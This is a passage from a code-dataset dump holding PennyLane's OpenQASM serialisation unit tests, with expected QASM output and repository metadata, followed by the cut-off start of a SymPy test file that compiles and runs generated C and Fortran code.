NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.1347759226358913, "lm_q1q2_score": 0.0637063516762596}}
{"text": "# Copyright 2018-2020 Xanadu Quantum Technologies Inc.\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n#     http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"\r\nUnit tests for the :mod:`pennylane.circuit_graph.to_openqasm()` method.\r\n\"\"\"\r\n# pylint: disable=no-self-use,too-many-arguments,protected-access\r\nfrom textwrap import dedent\r\n\r\nimport numpy as np\r\nimport pytest\r\n\r\nimport pennylane as qml\r\nfrom pennylane import CircuitGraph\r\nfrom pennylane.wires import Wires\r\n\r\n\r\nclass TestToQasmUnitTests:\r\n    \"\"\"Unit tests for the to_openqasm() method\"\"\"\r\n\r\n    def test_empty_circuit(self):\r\n        \"\"\"Test that an empty circuit graph is properly\r\n        serialized into an empty QASM program.\"\"\"\r\n        circuit = CircuitGraph([], {}, Wires([]))\r\n        res = circuit.to_openqasm()\r\n        expected = 'OPENQASM 2.0;\\ninclude \"qelib1.inc\";\\n'\r\n        assert res == expected\r\n\r\n    def test_native_qasm_gates(self):\r\n        \"\"\"Test that a circuit containing solely native QASM\r\n        gates is properly serialized.\"\"\"\r\n        ops = [\r\n            qml.RX(0.43, wires=0),\r\n            qml.RY(0.35, wires=1),\r\n            qml.RZ(0.35, wires=2),\r\n            qml.CNOT(wires=[0, 1]),\r\n            qml.Hadamard(wires=2),\r\n            qml.CNOT(wires=[2, 0]),\r\n            qml.PauliX(wires=1),\r\n        ]\r\n\r\n        circuit = CircuitGraph(ops, {}, Wires([0, 1, 2]))\r\n        res = circuit.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            rx(0.43) q[0];\r\n            ry(0.35) q[1];\r\n            rz(0.35) q[2];\r\n            cx q[0],q[1];\r\n            h q[2];\r\n            cx q[2],q[0];\r\n            x q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_native_inverse_gates(self):\r\n        \"\"\"Test that a circuit containing inverse gates that are supported\r\n        natively by QASM, such as sdg, are correctly serialized.\"\"\"\r\n        ops = [\r\n            qml.S(wires=0),\r\n            qml.S(wires=0).inv(),\r\n            qml.T(wires=0),\r\n            qml.T(wires=0).inv(),\r\n        ]\r\n\r\n        circuit = CircuitGraph(ops, {}, Wires([0]))\r\n        res = circuit.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[1];\r\n            creg c[1];\r\n            s q[0];\r\n            sdg q[0];\r\n            t q[0];\r\n            tdg q[0];\r\n            measure q[0] -> c[0];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_unused_wires(self):\r\n        \"\"\"Test that unused wires are correctly taken into account\"\"\"\r\n        ops = [\r\n            qml.Hadamard(wires=4),\r\n            qml.CNOT(wires=[1, 0]),\r\n        ]\r\n\r\n        circuit = CircuitGraph(ops, {}, Wires([0, 1, 2, 3, 4]))\r\n        res = circuit.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[5];\r\n            creg c[5];\r\n            h q[4];\r\n            cx q[1],q[0];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            measure q[3] -> c[3];\r\n            measure q[4] -> c[4];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_rotation_gate_decomposition(self):\r\n        \"\"\"Test that gates not natively supported by QASM, such as the\r\n        rotation gate, are correctly decomposed and serialized.\"\"\"\r\n        ops1 = [qml.Rot(0.3, 0.1, 0.2, wires=1)]\r\n        circuit1 = CircuitGraph(ops1, {}, Wires([0, 1]))\r\n        qasm1 = circuit1.to_openqasm()\r\n\r\n        ops2 = qml.Rot.decomposition(0.3, 0.1, 0.2, wires=1)\r\n        circuit2 = CircuitGraph(ops2, {}, Wires([0, 1]))\r\n        qasm2 = circuit2.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[2];\r\n            creg c[2];\r\n            rz(0.3) q[1];\r\n            ry(0.1) q[1];\r\n            rz(0.2) q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            \"\"\"\r\n        )\r\n\r\n        assert qasm1 == expected\r\n        assert qasm1 == qasm2\r\n\r\n    def test_state_initialization_decomposition(self):\r\n        \"\"\"Test that the Mottonen state prepration decomposition\r\n        is correctly applied.\"\"\"\r\n        psi = np.array([1, -1, -1, 1]) / np.sqrt(4)\r\n\r\n        ops1 = [qml.QubitStateVector(psi, wires=[0, 1])]\r\n        circuit1 = CircuitGraph(ops1, {}, Wires([0, 1]))\r\n        qasm1 = circuit1.to_openqasm()\r\n\r\n        ops2 = qml.QubitStateVector.decomposition(psi, wires=[0, 1])\r\n        circuit2 = CircuitGraph(ops2, {}, Wires([0, 1]))\r\n        qasm2 = circuit2.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[2];\r\n            creg c[2];\r\n            ry(1.5707963267948968) q[0];\r\n            ry(1.5707963267948968) q[1];\r\n            cx q[0],q[1];\r\n            cx q[0],q[1];\r\n            cx q[0],q[1];\r\n            rz(3.141592653589793) q[1];\r\n            cx q[0],q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            \"\"\"\r\n        )\r\n\r\n        assert qasm1 == expected\r\n        assert qasm1 == qasm2\r\n\r\n    def test_basis_state_initialization_decomposition(self):\r\n        \"\"\"Test that the basis state preparation decomposition\r\n\r\n        is correctly applied.\"\"\"\r\n        basis_state = np.array([1, 0, 1, 1])\r\n\r\n        ops1 = [qml.BasisState(basis_state, wires=[0, 1, 2, 3])]\r\n        circuit1 = CircuitGraph(ops1, {}, Wires([0, 1, 2, 3]))\r\n        qasm1 = circuit1.to_openqasm()\r\n\r\n        ops2 = qml.BasisState.decomposition(basis_state, wires=[0, 1, 2, 3])\r\n        circuit2 = CircuitGraph(ops2, {}, Wires([0, 1, 2, 3]))\r\n        qasm2 = circuit2.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[4];\r\n            creg c[4];\r\n            x q[0];\r\n            x q[2];\r\n            x q[3];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            measure q[3] -> c[3];\r\n            \"\"\"\r\n        )\r\n\r\n        assert qasm1 == expected\r\n        assert qasm1 == qasm2\r\n\r\n    def test_unsupported_gate(self):\r\n        \"\"\"Test an exception is raised if an unsupported operation is\r\n        applied.\"\"\"\r\n        U = np.array([[1, 1], [1, -1]]) / np.sqrt(2)\r\n        ops = [qml.S(wires=0), qml.QubitUnitary(U, wires=[0, 1])]\r\n\r\n        circuit = CircuitGraph(ops, {}, Wires([0, 1]))\r\n\r\n        with pytest.raises(\r\n            ValueError, match=\"QubitUnitary not supported by the QASM serializer\"\r\n        ):\r\n            res = circuit.to_openqasm()\r\n\r\n    def test_rotations(self):\r\n        \"\"\"Test that observable rotations are correctly applied.\"\"\"\r\n        ops = [\r\n            qml.Hadamard(wires=0),\r\n            qml.CNOT(wires=[0, 1]),\r\n            qml.expval(qml.PauliX(0)),\r\n            qml.expval(qml.PauliZ(1)),\r\n            qml.expval(qml.Hadamard(2)),\r\n        ]\r\n\r\n        circuit = CircuitGraph(ops, {}, Wires([0, 1, 2]))\r\n        res = circuit.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            h q[0];\r\n            cx q[0],q[1];\r\n            h q[0];\r\n            ry(-0.7853981633974483) q[2];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n        ops2 = circuit.operations + circuit.diagonalizing_gates\r\n        circuit2 = CircuitGraph(ops2, {}, Wires([0, 1, 2]))\r\n        qasm2 = circuit2.to_openqasm()\r\n\r\n        assert res == qasm2\r\n\r\n\r\nclass TestQNodeQasmIntegrationTests:\r\n    \"\"\"Test that the QASM serialization works correctly\r\n    when circuits are created via QNodes.\"\"\"\r\n\r\n    def test_empty_circuit(self):\r\n        \"\"\"Test that an empty QNode is properly\r\n        serialized into an empty QASM program.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=1)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode()\r\n\r\n        res = qnode.qtape.graph.to_openqasm()\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[1];\r\n            creg c[1];\r\n            measure q[0] -> c[0];\r\n            \"\"\"\r\n        )\r\n        assert res == expected\r\n\r\n    def test_native_qasm_gates(self):\r\n        \"\"\"Test that a QNode containing solely native QASM\r\n        gates is properly serialized.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=3)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.RX(0.43, wires=0)\r\n            qml.RY(0.35, wires=1)\r\n            qml.RZ(0.35, wires=2)\r\n            qml.CNOT(wires=[0, 1])\r\n            qml.Hadamard(wires=2)\r\n            qml.CNOT(wires=[2, 0])\r\n            qml.PauliX(wires=1)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode()\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            rx(0.43) q[0];\r\n            ry(0.35) q[1];\r\n            rz(0.35) q[2];\r\n            cx q[0],q[1];\r\n            h q[2];\r\n            cx q[2],q[0];\r\n            x q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_parametrized_native_qasm_gates(self):\r\n        \"\"\"Test that a QNode containing solely native QASM\r\n        gates, as well as input parameters, is properly serialized.\r\n        In addition, double check the serialization changes as parameters\r\n        are changed.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=3)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode(x, y):\r\n            qml.RX(x, wires=0)\r\n            qml.RY(y[0], wires=1)\r\n            qml.RZ(y[1], wires=2)\r\n            qml.CNOT(wires=[0, 1])\r\n            qml.Hadamard(wires=2)\r\n            qml.CNOT(wires=[2, 0])\r\n            qml.PauliX(wires=1)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # execute the QNode with parameters, and serialize\r\n        params = np.array([0.5, [0.2, 0.1]])\r\n        qnode(*params)\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            rx(0.5) q[0];\r\n            ry(0.2) q[1];\r\n            rz(0.1) q[2];\r\n            cx q[0],q[1];\r\n            h q[2];\r\n            cx q[2],q[0];\r\n            x q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        res = qnode.qtape.graph.to_openqasm()\r\n        assert res == expected\r\n\r\n        # execute the QNode with new parameters, and serialize again\r\n        params = np.array([0.1, [0.3, 0.2]])\r\n        qnode(*params)\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            rx(0.1) q[0];\r\n            ry(0.3) q[1];\r\n            rz(0.2) q[2];\r\n            cx q[0],q[1];\r\n            h q[2];\r\n            cx q[2],q[0];\r\n            x q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        res = qnode.qtape.graph.to_openqasm()\r\n        assert res == expected\r\n\r\n    def test_native_inverse_gates(self):\r\n        \"\"\"Test that a QNode containing inverse gates that are supported\r\n        natively by QASM, such as sdg, are correctly serialized.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=1)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.S(wires=0)\r\n            qml.S(wires=0).inv()\r\n            qml.T(wires=0)\r\n            qml.T(wires=0).inv()\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode()\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[1];\r\n            creg c[1];\r\n            s q[0];\r\n            sdg q[0];\r\n            t q[0];\r\n            tdg q[0];\r\n            measure q[0] -> c[0];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_unused_wires(self):\r\n        \"\"\"Test that unused wires are correctly taken into account\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=5)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.Hadamard(wires=4)\r\n            qml.CNOT(wires=[1, 0])\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode()\r\n        res = qnode.qtape.graph.to_openqasm(wires=dev.wires)\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[5];\r\n            creg c[5];\r\n            h q[4];\r\n            cx q[1],q[0];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            measure q[3] -> c[3];\r\n            measure q[4] -> c[4];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_rotation_gate_decomposition(self):\r\n        \"\"\"Test that gates not natively supported by QASM, such as the\r\n        rotation gate, are correctly decomposed and serialized.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.Rot(0.3, 0.1, 0.2, wires=1)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode()\r\n        res = qnode.qtape.graph.to_openqasm(wires=dev.wires)\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[2];\r\n            creg c[2];\r\n            rz(0.3) q[1];\r\n            ry(0.1) q[1];\r\n            rz(0.2) q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_state_initialization_decomposition(self):\r\n        \"\"\"Test that the Mottonen state prepration decomposition\r\n        is correctly applied.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=2)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode(state=None):\r\n            qml.QubitStateVector(state, wires=[0, 1])\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode(state=np.array([1, -1, -1, 1]) / np.sqrt(4))\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[2];\r\n            creg c[2];\r\n            ry(1.5707963267948968) q[0];\r\n            ry(1.5707963267948968) q[1];\r\n            cx q[0],q[1];\r\n            cx q[0],q[1];\r\n            cx q[0],q[1];\r\n            rz(3.141592653589793) q[1];\r\n            cx q[0],q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_basis_state_initialization_decomposition(self):\r\n        \"\"\"Test that the basis state prepration decomposition\r\n        is correctly applied.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=4)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode(state=None):\r\n            qml.BasisState(state, wires=[0, 1, 2, 3])\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode(state=np.array([1, 0, 1, 1]))\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[4];\r\n            creg c[4];\r\n            x q[0];\r\n            x q[2];\r\n            x q[3];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            measure q[3] -> c[3];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_unsupported_gate(self):\r\n        \"\"\"Test an exception is raised if an unsupported operation is\r\n        applied.\"\"\"\r\n        U = np.array([[1, 1], [1, -1]]) / np.sqrt(2)\r\n        dev = qml.device(\"default.qubit\", wires=1)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.S(wires=0)\r\n            qml.QubitUnitary(U, wires=0)\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        qnode()\r\n\r\n        with pytest.raises(\r\n            ValueError, match=\"QubitUnitary not supported by the QASM serializer\"\r\n        ):\r\n            qnode.qtape.graph.to_openqasm()\r\n\r\n    def test_rotations(self):\r\n        \"\"\"Test that observable rotations are correctly applied.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=3)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.Hadamard(wires=0)\r\n            qml.CNOT(wires=[0, 1])\r\n            return [\r\n                qml.expval(qml.PauliX(0)),\r\n                qml.expval(qml.PauliZ(1)),\r\n                qml.expval(qml.Hadamard(2)),\r\n            ]\r\n\r\n        qnode()\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            h q[0];\r\n            cx q[0],q[1];\r\n            h q[0];\r\n            ry(-0.7853981633974483) q[2];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n    def test_wires(self):\r\n        \"\"\"Test that the QASM serializer correctly integrates with the new wires class.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=[\"a\", \"b\", \"c\"])\r\n\r\n        @qml.qnode(dev)\r\n        def qnode():\r\n            qml.Hadamard(wires=\"a\")\r\n            qml.CNOT(wires=[\"b\", \"a\"])\r\n            return [\r\n                qml.expval(qml.PauliX(\"c\")),\r\n                qml.expval(qml.PauliZ(\"a\")),\r\n                qml.expval(qml.Hadamard(\"b\")),\r\n            ]\r\n\r\n        qnode()\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        expected = dedent(\r\n            \"\"\"\\\r\n            OPENQASM 2.0;\r\n            include \"qelib1.inc\";\r\n            qreg q[3];\r\n            creg c[3];\r\n            h q[0];\r\n            cx q[1],q[0];\r\n            h q[2];\r\n            ry(-0.7853981633974483) q[1];\r\n            measure q[0] -> c[0];\r\n            measure q[1] -> c[1];\r\n            measure q[2] -> c[2];\r\n            \"\"\"\r\n        )\r\n\r\n        assert res == expected\r\n\r\n\r\nclass TestQASMConformanceTests:\r\n    \"\"\"Conformance tests to ensure that the CircuitGraph\r\n    serialized QASM conforms to the QASM standard as implemented\r\n    by Qiskit. Note that this test class requires Qiskit and\r\n    PennyLane-Qiskit as a dependency.\"\"\"\r\n\r\n\r\n    @pytest.fixture\r\n    def check_dependencies(self):\r\n        self.qiskit = pytest.importorskip(\"qiskit\", minversion=\"0.14.1\")\r\n        pl_qiskit = pytest.importorskip(\"pennylane_qiskit\")\r\n\r\n    def test_agrees_qiskit_plugin(self, check_dependencies):\r\n        \"\"\"Test that the QASM generated by the CircuitGraph agrees\r\n        with the QASM generated by the PennyLane-Qiskit plugin.\"\"\"\r\n        dev = qml.device(\"qiskit.basicaer\", wires=3)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode(x):\r\n            qml.Hadamard(wires=0)\r\n            qml.RY(x[1], wires=0)\r\n            qml.CNOT(wires=[0, 1])\r\n            qml.RX(x[0], wires=1)\r\n            return [\r\n                qml.expval(qml.PauliX(0)),\r\n                qml.expval(qml.PauliZ(1)),\r\n                qml.expval(qml.Hadamard(2)),\r\n            ]\r\n\r\n        qnode([0.1, 0.2])\r\n        res = qnode.qtape.graph.to_openqasm()\r\n\r\n        # Note: Qiskit hardcodes in pi as a QASM constant.\r\n        # Here, we replace it with its numerical value.\r\n        expected = dev._circuit.qasm().replace(\"pi/4\", str(np.pi / 4))\r\n\r\n        assert res == expected\r\n\r\n    def test_basis_state_agrees_qiskit_plugin(self, check_dependencies):\r\n        \"\"\"Test that the basis state prepration QASM agrees\r\n        with that generated by the PennyLane-Qiskit plugin. This is\r\n        a useful test to ensure that we are using the correct qubit\r\n        ordering convention.\"\"\"\r\n        dev = qml.device(\"qiskit.basicaer\", wires=4)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode(state=None):\r\n            qml.BasisState(state, wires=[0, 1, 2, 3])\r\n            return qml.expval(qml.PauliZ(0))\r\n\r\n        # construct the qnode circuit\r\n        qnode(state=np.array([1, 0, 1, 1]))\r\n        res = qnode.qtape.graph.to_openqasm(wires=dev.wires)\r\n        expected = dev._circuit.qasm()\r\n\r\n        assert res == expected\r\n\r\n    def test_qiskit_load_generated_qasm(self, check_dependencies):\r\n        \"\"\"Test that the QASM generated by the CircuitGraph\r\n        corresponds to valid QASM, that can be loaded by Qiskit.\"\"\"\r\n        dev = qml.device(\"default.qubit\", wires=3)\r\n\r\n        @qml.qnode(dev)\r\n        def qnode(x):\r\n            qml.Hadamard(wires=0)\r\n            qml.RY(x[1], wires=0)\r\n            qml.CNOT(wires=[0, 1])\r\n            qml.RX(x[0], wires=1)\r\n            return [\r\n                qml.expval(qml.PauliX(0)),\r\n                qml.expval(qml.PauliZ(1)),\r\n                qml.expval(qml.Hadamard(2)),\r\n            ]\r\n\r\n        params = [0.1, 0.2]\r\n        qnode(params)\r\n        qasm = qnode.qtape.graph.to_openqasm()\r\n        qc = self.qiskit.QuantumCircuit.from_qasm_str(qasm)\r\n\r\n        gates = [g for g, _, _ in qc.data]\r\n\r\n        for idx, g in enumerate(gates):\r\n            # attach a wires attribute to each gate, containing\r\n            # a list of wire integers it acts on, so we can assert\r\n            # correctness below.\r\n            g.wires = [q.index for q in qc.data[idx][1]]\r\n\r\n        # operations\r\n        assert gates[0].name == \"h\"\r\n        assert gates[0].wires == [0]\r\n\r\n        assert gates[1].name == \"ry\"\r\n        assert gates[1].wires == [0]\r\n        assert gates[1].params == [params[1]]\r\n\r\n        assert gates[2].name == \"cx\"\r\n        assert gates[2].wires == [0, 1]\r\n\r\n        assert gates[4].name == \"rx\"\r\n        assert gates[4].wires == [1]\r\n        assert gates[4].params == [params[0]]\r\n\r\n        # rotations\r\n        assert gates[3].name == \"h\"\r\n        assert gates[3].wires == [0]\r\n\r\n        assert gates[5].name == \"ry\"\r\n        assert gates[5].wires == [2]\r\n        assert gates[5].params == [-np.pi / 4]\r\n", "meta": {"hexsha": "96ae0f36df902a5a83677ceb347e0a67bb224e2c", "size": 23474, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/circuit_graph/test_qasm.py", "max_stars_repo_name": "DanielPolatajko/pennylane", "max_stars_repo_head_hexsha": "d603e810a4d34d727a436d852c540fdc0fe21a85", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-02-18T02:14:27.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-18T02:14:27.000Z", "max_issues_repo_path": "tests/circuit_graph/test_qasm.py", "max_issues_repo_name": "DanielPolatajko/pennylane", "max_issues_repo_head_hexsha": "d603e810a4d34d727a436d852c540fdc0fe21a85", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/circuit_graph/test_qasm.py", "max_forks_repo_name": "DanielPolatajko/pennylane", "max_forks_repo_head_hexsha": "d603e810a4d34d727a436d852c540fdc0fe21a85", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.1722365039, "max_line_length": 91, "alphanum_fraction": 0.4760160177, "include": true, "reason": "import numpy", "num_tokens": 6441, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.13477591394766722, "lm_q1q2_score": 0.06370634756947963}}
{"text": "# This tests the compilation and execution of the source code generated with\n# utilities.codegen. The compilation takes place in a temporary directory that\n# is removed after the test. By default the test directory is always removed,\n# but this behavior can be changed by setting the environment variable\n# SYMPY_TEST_CLEAN_TEMP to:\n#   export SYMPY_TEST_CLEAN_TEMP=always   : the default behavior.\n#   export SYMPY_TEST_CLEAN_TEMP=success  : only remove the directories of working tests.\n#   export SYMPY_TEST_CLEAN_TEMP=never    : never remove the directories with the test code.\n# When a directory is not removed, the necessary information is printed on\n# screen to find the files that belong to the (failed) tests. If a test does\n# not fail, py.test captures all the output and you will not see the directories\n# corresponding to the successful tests. Use the --nocapture option to see all\n# the output.\n\n# All tests below have a counterpart in utilities/test/test_codegen.py. In the\n# latter file, the resulting code is compared with predefined strings, without\n# compilation or execution.\n\n# All the generated Fortran code should conform with the Fortran 95 standard,\n# and all the generated C code should be ANSI C, which facilitates the\n# incorporation in various projects. The tests below assume that the binary cc\n# is somewhere in the path and that it can compile ANSI C code.\n\nfrom __future__ import print_function\n\nfrom sympy.abc import x, y, z\nfrom sympy.utilities.pytest import skip\nfrom sympy.utilities.codegen import codegen, make_routine, get_code_generator\nimport sys\nimport os\nimport tempfile\nimport subprocess\n\n\n# templates for the main program that will test the generated code.\n\nmain_template = {}\nmain_template['F95'] = \"\"\"\nprogram main\n  include \"codegen.h\"\n  integer :: result;\n  result = 0\n\n  %(statements)s\n\n  call exit(result)\nend program\n\"\"\"\n\nmain_template['C'] = \"\"\"\n#include \"codegen.h\"\n#include <stdio.h>\n#include <math.h>\n\nint main() {\n  int result = 0;\n\n  %(statements)s\n\n  return result;\n}\n\"\"\"\n\n# templates for the numerical tests\n\nnumerical_test_template = {}\nnumerical_test_template['C'] = \"\"\"\n  if (fabs(%(call)s)>%(threshold)s) {\n    printf(\"Numerical validation failed: %(call)s=%%e threshold=%(threshold)s\\\\n\", %(call)s);\n    result = -1;\n  }\n\"\"\"\n\nnumerical_test_template['F95'] = \"\"\"\n  if (abs(%(call)s)>%(threshold)s) then\n    write(6,\"('Numerical validation failed:')\")\n    write(6,\"('%(call)s=',e15.5,'threshold=',e15.5)\") %(call)s, %(threshold)s\n    result = -1;\n  end if\n\"\"\"\n# command sequences for supported compilers\n\ncompile_commands = {}\ncompile_commands['cc'] = [\n    \"cc -c codegen.c -o codegen.o\",\n    \"cc -c main.c -o main.o\",\n    \"cc main.o codegen.o -lm -o test.exe\"\n]\n\ncompile_commands['gfortran'] = [\n    \"gfortran -c codegen.f90 -o codegen.o\",\n    \"gfortran -ffree-line-length-none -c main.f90 -o main.o\",\n    \"gfortran main.o codegen.o -o test.exe\"\n]\n\ncompile_commands['g95'] = [\n    \"g95 -c codegen.f90 -o codegen.o\",\n    \"g95 -ffree-line-length-huge -c main.f90 -o main.o\",\n    \"g95 main.o codegen.o -o test.exe\"\n]\n\ncompile_commands['ifort'] = [\n    \"ifort -c codegen.f90 -o codegen.o\",\n    \"ifort -c main.f90 -o main.o\",\n    \"ifort main.o codegen.o -o test.exe\"\n]\n\ncombinations_lang_compiler = [\n    ('C', 'cc'),\n    ('F95', 'ifort'),\n    ('F95', 'gfortran'),\n    ('F95', 'g95')\n]\n\n\ndef try_run(commands):\n    \"\"\"Run a series of commands and only return True if all ran fine.\"\"\"\n    null = open(os.devnull, 'w')\n    for command in commands:\n        retcode = subprocess.call(command, stdout=null, shell=True,\n                stderr=subprocess.STDOUT)\n        if retcode != 0:\n            return False\n    return True\n\n\ndef run_test(label, routines, numerical_tests, language, commands, friendly=True):\n    \"\"\"A driver for the codegen tests.\n\n       This driver assumes that a compiler ifort is present in the PATH and that\n       ifort is (at least) a Fortran 90 compiler. The generated 